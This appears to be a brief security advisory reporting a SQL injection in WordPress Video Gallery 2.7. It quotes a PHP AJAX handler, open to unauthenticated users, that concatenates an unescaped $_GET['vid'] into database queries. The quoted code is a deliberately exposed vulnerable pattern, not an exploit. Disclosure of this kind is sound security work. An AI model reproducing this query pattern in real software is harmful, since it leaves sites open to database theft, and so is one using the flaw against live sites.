WordPress Video Gallery 2.7 SQL Injection

$_GET['vid'] is not escaped.

google_adsense() is accessible for everyone.

File: contus-video-gallery\hdflvvideoshare.php

add_action('wp_ajax_googleadsense' ,'google_adsense');
add_action('wp_ajax_nonpriv_googleadsense' ,'google_adsense');
function google_adsense(){
	global $wpdb;
	$vid = $_GET['vid'];	
	$google_adsense_id =  $wpdb->get_var('SELECT google_adsense_value FROM '.$wpdb->prefix.'hdflvvideoshare WHERE vid ='.$vid);
	$query = $wpdb->get_var('SELECT googleadsense_details FROM '.$wpdb->prefix.'hdflvvideoshare_vgoogleadsense WHERE id='.$google_adsense_id);
	$google_adsense = unserialize($query);
	echo $google_adsense['googleadsense_code']; 
	die();
}
